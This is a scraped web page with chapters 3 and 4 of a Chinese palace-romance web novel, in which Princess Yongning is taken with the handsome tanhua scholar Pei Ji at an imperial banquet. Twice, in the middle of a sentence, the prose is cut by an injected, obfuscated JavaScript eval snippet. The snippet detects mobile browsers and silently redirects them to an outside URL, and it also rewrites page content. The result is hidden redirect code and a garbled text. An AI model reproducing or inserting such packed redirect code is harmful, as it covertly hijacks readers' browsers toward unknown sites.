《笨蛋美人折花记》 3. 【3】 【3】 “叮铃铃,叮铃铃……” 二月明媚春光里,一辆华美精致的八宝璎珞朱轮马车行驶在长安最热闹的朱雀大街之上,车角悬挂的鎏金铃铛发出清脆声响。另有数十位带刀侍卫步伐齐整,雄赳赳气昂昂地开道。 这声响、这排场,百姓们一看便知是永宁公主出行了。 “哎哟,公主这是又要去哪玩了?” “听闻圣人今日在曲江设琼林宴,公主应当是去赴宴?” “可琼林宴不是宴请新科进士们么?公主一介女流,怎好出席?” “谁叫人家是圣人最疼爱小女儿呢?喏,你们瞧,整个长安哪家女眷能有公主这个排场。” “就是,连开路的侍卫都长得这么俊,真不知公主那一府邸的男宠得俊成什么样?” “怪不得能一夜御七男!这么多俊后生,谁能忍着不碰。我看啊,这世上怕是再没比永宁公主更好命的女子了。” 百姓们你一言我一语,聊得不亦乐乎。 偶有两句飘到那朱缨华盖的马车里,珠圆忍不住攥拳:“这些人竟敢妄议公主,实在大胆,看奴婢不撕了他们的嘴!” 还没起身,就被玉润摁下:“你别乱来。” “就是,听玉润的,别乱来。” 永宁一边拿着鎏金平脱小靶镜,整理着额前的翠羽花钿,一边和和气气教导珠圆:“你哪哪都好,就是性子太急了。虽然背后妄议皇室是不对,但看在他们都在夸我的份上,咱们也没必要太苛责。” 珠圆愣住:“公主怎会觉得他们是在夸您?” “啊?不是么。” 永宁惊诧:“他们不是夸我府上的侍卫俊,还夸我命好吗。” 珠圆:“……” 所以那句“一夜御七郎”,公主是半个字都没听进去? 她张了张唇,刚要解释,就被玉润一个眼神制止—— 「不可拿那些污言秽语玷污公主的耳朵。」 珠圆只好闭了嘴,但看着自家公主这么一个顶顶纯善的小娘子却被外界谣传为“荒淫无道”的风流浪//女,珠圆还是很想冲下车给他们一人一个嘴巴子。 永宁全然不知自己两个婢女的眉眼官司,她只乐呵呵地欣赏着今日的桃花妆,心想今日的自己也是如此的光彩照人呢。 忽的,马车停下。 永宁放下小镜子:“怎么了?” 车外传来太监的回禀:“公主,前头好似是太子殿下的马车。” “阿兄的马车?” 永宁眼睛亮了:“快快,快上前。” 太监应喏。 不多时,马车驶到前头。 相比于永宁那辆雕花描金的豪华马车,太子的马车低调简朴不少。 兄妹俩同胞所出,自小亲厚,永宁也没下车,只掀开车帘招呼道:“好巧啊阿兄,你也往曲江去吗。” 话落,对侧的车帘也缓缓掀开。 宝蓝色蒲桃纹车帘后,露出一张同样俊美深邃的脸庞。 年方二十三的太子李承旭,瞧见自家妹妹明月般的雪白小脸,一向冷峻的眉眼也露出柔色:“是,今日出门迟了,没想到会在城门与月儿遇上。” 说着,他身子往旁让了让:“你子怀表兄也在车上。” 这一让,永宁也看到车内另一人。 舅家表兄,现东宫左卫率,张蕴张子怀。 虽是表亲,但张蕴表兄的长相并不俊美,当然了,也称不上丑—— 在寻常人看来,算是个五官周正的俊小伙儿。 可永宁不是寻常人。 她是个一贯爱以貌取人的小色鬼。 所以哪怕张蕴表兄从小就很照顾她,永宁对他也并不亲热。 就像如今见到了,她也只是礼貌地点点头:“子怀表兄,好久不见。” 张蕴听到她和自己打招呼,眉眼都多了几分神采,连忙抬袖回礼:“月妹妹万福。” 若是张蕴不在车上,永宁定要坐到太子车上同行。 可张蕴在,多有不便,永宁只好道:“堵在街上说话多有不便,阿兄、子怀表兄,待会儿宴上见吧。” 车帘落下,对面的俩人自然没错过小公主精致眉眼间一闪而过的遗憾。 太子也放下车帘,转身看到自家表兄失魂落魄的模样,心底也不禁轻叹。 其实早上在东宫,张蕴一袭簇新华服,借口与他同乘时,李承旭便看破了这位表兄的心思。 窈窕淑女,君子好逑,这是人之常情。 何况表兄乃是舅父的嫡子,家世显赫,品德仁厚,文武双全,算得上世家子弟里的佼佼者。 而且最叫李承旭满意的一点是,表兄身边至今无有通房妾侍,光是“洁身自好”这一点就胜过了绝大部分的世家子弟。 可惜张蕴千好万好,偏偏容貌普通。 而自家妹妹又是个桃花癫,非美食不吃,非美衣不穿,非美人不看。 便是李承旭有意撮合,却也是襄王有梦,神女无心。 “听说舅母近日在给表兄相看?” 李承旭看向张蕴,眉眼温和:“表兄年岁不小,是该抓紧了。” 张蕴闻言,脸色顿时更灰暗了几分。 他岂能不知太子的言外之意? 不过是劝他,放弃吧。 可他与表妹青梅竹马,多年爱慕,如何甘心放弃? 何况只要表妹尚未婚配,他还是有机会的…… 万一,万一表妹再长大一些、成熟一些,桃花癫有所好转了呢。 车内俩人都没再说话,一路沉默地前往曲江。 * 春二月,是冰雪消融、万物复苏的好时节,曲江宫苑里的桃杏也开得正盛。 而宴赏进士们的琼林宴,便是在桃花开得最好的桃花阁里举办。 筵席定在午时正刻,永宁却是午时二刻,才姗姗来迟。 金尊玉贵的小公主甫一出现,无论是见过公主真容的朝中老臣,还是新跃龙门的进士们,眼中都难掩惊艳。 新科进士们:“……!” 外头都说公主好美色,却没人说公主自个儿也是个明眸皓齿的美人啊! 老臣们:“……” 公主美则美矣,可这风流性子实在有损女子德行!真是白瞎了这一张好脸! 永宁并不知旁人心中所想,她知道周围的人都在看她。 不过这也很正常,她是阿耶最疼爱的女儿,本朝最尊贵的公主,打从落地伊始就备受瞩目,何况她还长得这么漂亮。 她目不斜视地走向主座,规规矩矩朝上座的昭武帝行礼:“永宁来迟,还请父皇恕罪。” “我儿快起,不就迟了一会儿,也不是什么大事。” 昭武帝看着今日穿着淡粉泥金裙衫、宛若桃花仙子的小女儿,笑得满脸宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763656|190160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溺:“今日有你喜欢吃的樱桃饆饠和芙蓉春饼,快些入座,别饿着了。” 永宁笑盈盈起身:“谢父皇。” 她就知道阿耶最疼她了。 不过她也不是故意来迟,谁叫她临下车时,发现来癸水了,这才耽误了功夫。 永宁入座后,还特地派长福上前和御前总管杨九明解释一句。 杨九明会意,很快附耳到昭武帝身侧,禀明原因。 不一会儿,一盏热气腾腾的红枣燕窝汤就端到了永宁的桌前。 永宁心里暖暖地朝上座看了眼,正好昭武帝也往她这边看来,父女俩眼神一对上,皆会意地笑了。 这一刻的永宁,觉得阿耶是天底下最好的阿耶。 但下一刻,扫过台下那一众红袍进士的模样,永宁忍不住扶额—— 阿耶虽好,可眼光也忒差了。 “公主怎么了?” 玉润见公主扶额,忙躬身关切:“可是肚子痛了?” 永宁摇头:“没事,肚子不疼。” 玉润:“那公主……” 永宁欲言又止,止言又欲,低头喝了一大口红枣燕窝汤,才道:“我觉得我阿耶许是真的上了年纪,所以对人也愈发包容了。前日他与我说,本届进士有不少龙章凤姿、难得俊才,可你瞧瞧——” 她的视线再一次扫过底下那一张张脸:“哪有什么龙章凤姿,难得俊才!我打眼一看,没一个能比得过咱们府中的美人儿。别说和琴棋书画他们四个相比了,就连前几日那个青竹都比不过。” 琴棋书画,乃是公主府中最出众的四位美人。 有男有女,色艺双绝,皆是永宁的心头宝。 玉润知道自家公主眼界高,凡夫俗子难入其眼,忙低声宽慰:“毕竟科举取士,取的是才学,不是样貌。其实在读书人里,有几位进士还算长得不错的。” 永宁也知道这个道理,托着腮,恹恹咬了口芙蓉春饼:“行吧,反正我也没报很大的期望。今日虽没见到美人儿,不过……这春饼还不错。” 玉润闻言,暗暗松口气,“那奴婢再给公主包一块。” 永宁颔首:“好。” 她要化遗憾为食欲,大吃特吃,也不枉大老远跑这一趟。 就在她百无聊赖盯着玉润包春饼时,长福忽的走了过来:“公主。” 永宁懒懒抬头:“怎么了?” 长福没说话,只朝她挤挤眼睛,示意她朝下看。 永宁:“……?” 莫名其妙。 但她还是撩起眼帘,朝下看了眼。 只见侧门处,一年轻郎君缓缓而入。 一袭红袍,帽簪鲜花,面白如玉,剑眉入鬓,端的是风姿绰约,艳绝无双。 永宁:“……!” 霎时间,视线化作糯米胶般紧紧黏在了他的身上,一路跟随,直到那人坐在了前三的位置。 饶是心中已然有了个答案,她还是喃喃问了句:“他是谁?” 长福掩口笑道:“他就是本届的探花郎,裴寂。” 探花。 前日紫宸殿那一群菘菜里,最高、最白、最挺拔的那个。 永宁“咕噜”咽了下嘴里那块春饼,目光灼灼盯着那道清贵的挺拔身影:“裴、寂。” 探花郎,裴寂。 永宁喜欢。 永宁想要。 永宁必须得到! 4. 【4】 【4】 许是小公主的目光太过炽热,下座的裴寂似有所感,抬眼寻来。 这一抬,便见着昭武帝右手边那把先前还空悬的宝座之上,竟不知何时多出了一道柔粉色的娇小身影。 只见那人约莫豆蔻年华,乌云叠鬓,粉黛盈腮,雪肌妙肤,衣着华美,一看便知是富贵金玉堆里娇养大的小娘子。 虽是初见,但能坐在那个位置的小娘子,除了传闻中那位圣人最疼爱的永宁公主,世上怕是再寻不出第二人。 “无思,你瞧,公主也在看你呢!” 胳膊被轻轻撞了下,坐在他旁侧的第四名崔铭凑了过来:“你说,她会不会看上你了?毕竟你可是咱们这届长得最俊的进士。” 裴寂眉头蹙起,待对上崔铭那戏谑又暧昧的目光,面色愈发清冷:“十六郎慎言。” 崔铭却仍是嬉笑模样,“开个玩笑嘛,无思何必这么严肃。” 他可不怕裴寂。 区区庶民,哪比得上他清河崔氏的门楣。 要他说,这第三名的位置也本该是他崔十六郎的位置,怎么就轮到裴寂这个不知道从洛阳哪个乡野村沟里出来的庶民! 圣人怕也是老糊涂了,殿试上瞧见裴寂这张脸,就拍案定下他是探花,叫他侥幸跻身三甲,鱼跃龙门。 打马游街时更是出尽了风头,别说他们这些排在前三之后的进士了,就连状元和榜眼的风头都被他抢走,如今街头巷尾提起新科进士,哪个不说他裴寂是本朝最俊探花郎?谁还知道状元叫什么名! 崔铭不服,尤其看到裴寂这厮明明出身卑微,却还总摆出一副清贵正直的模样,更是来气。 “不过无思你也别担心,若真的被公主看上了,于你而言也是一桩好事嘛!” 崔铭笑道:“毕竟公主虽……咳,博爱,却也是个天仙般的美人儿,你若能成为她的裙下之臣……啊!” 桌下,一根筷子猝不及防地戳中了崔铭的大腿。 短暂惨叫过后,意识到皇帝和太子还坐在上头,崔铭也不敢再叫。 面对左右投来的关怀询问,他也只勉强挤出个笑,低声:“无事无事,只是方才切羊肉,不小心划到了手。” 左右进士便也没再多问,继续饮酒看歌舞。 那根筷子还牢牢插在崔铭的腿上,他脸色灰白,咬牙瞪着面前的年轻男人:“裴无思,你疯了吗!竟敢御前行凶!” 裴寂放在桌上的那只手持续施加力道,面上却无半分波澜:“你有本事就喊出来,看看将原委禀明圣人,圣人是会怪罪我御前行凶,还是责你妄议贵主,藐视皇室。” 崔铭脸色变了又变,却仍是死死瞪着裴寂:“我警告你快些松手,待宴散给我磕头赔罪,不然我定不会放过你。” 裴寂扯了扯唇:“光脚的不怕穿鞋的,十六郎若定要与裴某纠缠,裴某便是下大狱,临了也要拉你崔氏一起倒霉。” 崔铭:“……!” 疯子,真是疯子。 什么如琢如磨、光风霁月的谦谦君子,分明就是条疯狗! “那你想怎么样?无思,无思兄,这是御前,闹大了你我都不好看。” “赔罪。” “我错了,我真的错了,下次再也与你开玩笑了。” “……” 都这会儿,还是“开玩笑”。 裴寂冷笑,却也懒得与这些世家子弟废话,不动声色收回了那根长筷:“下次再管不住嘴,扎腿的便不是银筷了。” 崔铭痛得不轻,觉得腿上定然扎紫了,却也不好察看,只得憋着一口气默默离裴寂远了些。 裴寂今日心情原本不错。 未曾想去了趟圊厕回来,却遇上这等扫兴之事。 他执壶倒了杯酒,刚要饮尽,压一压心下郁意,一抬眼,发现上座那位小公主竟然还直勾勾往他这边看。 执杯的动作顿住,裴寂眉心皱起,下意识也回望了一眼。 不曾想四目相对,视线恰好撞在一起。 裴寂一惊,刚要避开,却见小公主弯了眼眸,朝他歪头笑了下。 心,猛然一跳。 裴寂连忙低下头,眉头紧锁,仿若见鬼。 太子李承旭就坐在永宁旁边,自然也将方才那一幕尽入眼底。 他知道妹妹这好色的老毛病又犯了。 生怕妹妹像从前那般,见到中意的美人就上前问别人跟不跟她走,李承旭以拳抵唇,朝永宁那边咳了声。 永宁无动于衷,双眼仍亮晶晶盯着探花郎。 李承旭:“咳咳!” 永宁仍是一动不动。 李承旭:“咳咳咳!” 这回倒是有反应了,却是上座的昭武帝开了口:“太子可是身子不适?” 李承旭面色微僵,赶紧起身:“多谢父皇垂问,儿臣无恙,只是方才被酒呛了下。” 昭武帝嗯了声:“那坐下吧。” 不过这么个小插曲,好歹是把永宁的注意力给拉了回来。 她眸带担忧看向太子:“阿兄喝点温水顺顺,待会儿就别再喝酒了。” 李承旭心下轻哼,还算这家伙有点良心。 不过,“管我喝不喝酒之前,你先管好自己的眼睛。这大庭广众,众目睽睽,你可不许见人就抢!” 永宁一听这话,愣了愣。 待回过神,她嘴角微捺,闷闷咕哝:“我又不是强盗,怎会做出那等没分寸的,阿兄可别冤我。” 李承旭:“……你最好不是。” “不是不是就不是!” 永宁哼了声,也别过身,不再看太子。 她觉得阿兄定然也是信了外头那些谗言,觉得青竹是她硬抢回府的。 可青竹明明是她真金白银买回来的,而且青竹和丹朱姐弟俩都对她感恩戴德,很高兴能进她的公主府呢。 她明明就是在做好事啊! 臭阿兄,糊涂蛋。 永宁没好气在心里骂了太子一会儿,等心绪稍宁,视线却是克制不住地往下飘去。 不得不说,自家阿耶的眼光还是不错的,这个探花郎还真是个不折不扣的美男。 老话说得好,美人在骨不在皮—— 这个裴寂便是这条标准的完美证明。 永宁的目光从男人的头骨、眉骨、鼻梁骨、下颌骨一直延伸到男人的肩宽、臂展、腰身……再往下,裴寂坐着,无法目测。 但方才他进门时,永宁对他的身高、体型和腿长也有了大致概念。 综上所述,这个裴寂的皮相、骨相和身躯,比她府中的琴棋书画还要更胜一筹。 遑论裴寂身上还有一股伶优们所不具备的文人清贵之气,以及……他右眼角下那一颗淡墨色小痣。 永宁咬着唇,紧紧盯着男人眼下的那颗小痣。 面上虽克制着神情,心底的那个小人儿却早已兴奋奔跑,激动大喊:「要他,要他,我要他!」 「无论怎样,一定要得到他!」 那久久凝视的炽热目光,叫裴寂后半场宴上都不敢再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763657|190160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头。 好不容易捱延到宴会散去,他也不与其他进士一同赏花作诗,只以喝醉头晕为由,先行告退。 榜眼夏彦到底还是挂念他,傍晚从曲江回来后,特地提了一壶醒酒汤还有几样小菜点心,前去裴寂暂住的长寿坊探望。 长安居大不易,房价寸土寸金。 裴寂作为外地士子,在长安无亲无故,家境又不富裕,去年年底进京赶考,废了好些功夫,才以低于市场价的三成在这长寿坊里赁得一间独门小院。 当然,能低价赁得此院,他那出众的容貌自也发挥了不少作用—— 那房主夫妇就住在隔壁院落,恰逢房主娘子有孕,也不知从哪里听说每天看一眼美男子,生出来的孩子也能漂亮,夫妇俩这才将院子低价租给裴寂。 裴寂虽觉此等说法荒唐,无奈囊中羞涩,也只得硬着头皮忍着每日出门,被那房主娘子一路目送的感受。 此事到底有辱读书人的体面,与裴寂来往的人中,唯有夏彦一人知道。 夏彦倒不会因此轻蔑裴寂,只是感叹,长了一张好脸,竟有如此多想不到的好处。 且说这会儿,夏彦来到裴寂那间紫藤小院,二人于榻边对坐,喝茶闲聊。 今日的话题自然绕不过琼林宴。 而提到琼林宴,自然也绕不过那直勾勾盯着裴寂看了许久的永宁公主殿下。 “无思,我觉着今日公主盯着你那眼神……怕是不太妙啊。” 夏彦不是崔铭,他是真心为好友担忧:“永宁公主是出了名的好色,凡是被她看中的美人,无一能幸免。万一她、她真的看中你了……那该如何是好!” 裴寂:“……” 他想否认,话到嘴边,脑中却浮现小公主在宴上那歪头一笑。 明明笑得那样天真无邪,清澈美好,可一想到她那放浪形骸的名声,裴寂只觉胸口郁垒。 “之前也不知道公主会来,早知道她来,你便是称病躲一躲也好。” 夏彦扼腕,看向裴寂的目光愈发忧虑。 裴寂抿了抿唇,半晌才道:“再怎么说,我也是圣人钦点的探花,礼部备选的官员,公主再好色,应当也不敢做出强抢朝廷命官之事。” 夏彦闻言,倒也放心三分,点点头:“说的是,如今你有功名在身,到底与那些平康坊的伶人小倌儿、或是白身庶民不同。” 他直起身,一脸正义道:“无思你放心,若公主真敢罔顾法纪,抢你入府,我便是豁出这个功名不要,也定会参她一本,为你发声!” 裴寂眉心微动,端起面前醒酒茶:“裴寂以茶代酒,先谢过兄长。” 夏彦:“客气,客气。” 两人饮过一杯茶,心绪也稍定。 再提起永宁公主,裴寂只肃着脸,语调沉冷道“惹不起,总躲得起。日后,我尽量谨慎,避着她便是。” 话落,背后似有一阵寒风刮过,他打了个喷嚏。 夏彦关怀:“可还好?” 裴寂摇头:“无碍,可能是春寒料峭,着了风寒。” 两人继续推杯换盏,聊起礼部擢选之事。 与此同时,皇宫,紫宸殿。 “父皇,我要他!!啊啊啊我要他!!!要他要他要他!!我要我要我要!” “求求你了,把他赐给我吧!” 看着喝得醉醺醺、抱着桌子腿不肯撒手的小女儿,昭武帝扶额:“……” 片刻,他上前将人拉起:“好好好,乖月儿,地上凉,咱们有话先起来说。”